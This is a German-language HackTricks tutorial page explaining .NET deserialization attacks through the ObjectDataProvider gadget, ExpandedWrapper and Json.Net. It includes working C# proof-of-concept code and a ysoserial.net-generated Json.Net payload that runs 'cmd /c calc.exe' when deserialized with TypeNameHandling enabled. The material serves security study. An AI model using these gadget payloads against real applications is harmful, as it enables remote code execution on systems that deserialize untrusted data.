Grundlegende .Net-Deserialisierung (ObjectDataProvider-Gadget, ExpandedWrapper und Json.Net)
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dieser Beitrag ist gewidmet, um zu verstehen, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.
ObjectDataProvider Gadget
Aus der Dokumentation: Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können.
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu umschließen, MethodParameters zu verwenden, um beliebige Parameter festzulegen, und dann MethodName zu verwenden, um eine beliebige Funktion des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.
Daher wird das beliebige Objekt eine Funktion mit Parametern ausführen, während es deserialisiert wird.
Wie ist das möglich
Der System.Windows.Data-Namespace, der innerhalb der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
zu finden ist, ist der Ort, an dem der ObjectDataProvider definiert und implementiert ist.
Mit dnSpy können Sie den Code der Klasse, an der wir interessiert sind, untersuchen. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Wie Sie sehen können, wird bei der Einstellung von MethodName
base.Refresh()
aufgerufen, schauen wir uns an, was es tut:
Ok, lassen Sie uns weitersehen, was this.BeginQuery()
macht. BeginQuery
wird von ObjectDataProvider
überschrieben und das ist, was es tut:
Beachten Sie, dass am Ende des Codes this.QueryWorke(null)
aufgerufen wird. Lassen Sie uns sehen, was das ausführt:
Beachten Sie, dass dies nicht der vollständige Code der Funktion QueryWorker
ist, aber es zeigt den interessanten Teil davon: Der Code ruft this.InvokeMethodOnInstance(out ex);
auf dies ist die Zeile, in der das Methoden-Set aufgerufen wird.
Wenn Sie überprüfen möchten, dass nur durch das Setzen von MethodName** es ausgeführt wird**, können Sie diesen Code ausführen:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Beachten Sie, dass Sie als Referenz C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll hinzufügen müssen, um System.Windows.Data
zu laden.
ExpandedWrapper
Mit dem vorherigen Exploit wird es Fälle geben, in denen das Objekt als ObjectDataProvider Instanz deserialisiert wird (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit GetType
deserialisiert). Dann hat man keine Kenntnis über den Objekttyp, der in der ObjectDataProvider Instanz eingekapselt ist (zum Beispiel Process
). Sie können mehr Informationen über die DotNetNuke-Schwachstelle hier finden.
Diese Klasse ermöglicht es, die Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters).
Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, _ObjectDataProvider** innerhalb einer **ExpandedWrapper _ Instanz zu verpacken und bei der Deserialisierung wird diese Klasse das OjectDataProvider Objekt erstellen, das die Funktion ausführt, die in MethodName angegeben ist.
Sie können diesen Wrapper mit dem folgenden Code überprüfen:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Auf der offiziellen Webseite wird angegeben, dass diese Bibliothek es ermöglicht, jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider-Gadget deserialisieren könnten, könnten wir durch das Deserialisieren eines Objekts eine RCE verursachen.
Json.Net Beispiel
Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisieren/deserialisieren kann:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Missbrauch von Json.Net
Mit ysoserial.net habe ich den Exploit erstellt:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In diesem Code kannst du den Exploit testen, führe ihn einfach aus und du wirst sehen, dass ein Calculator ausgeführt wird:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.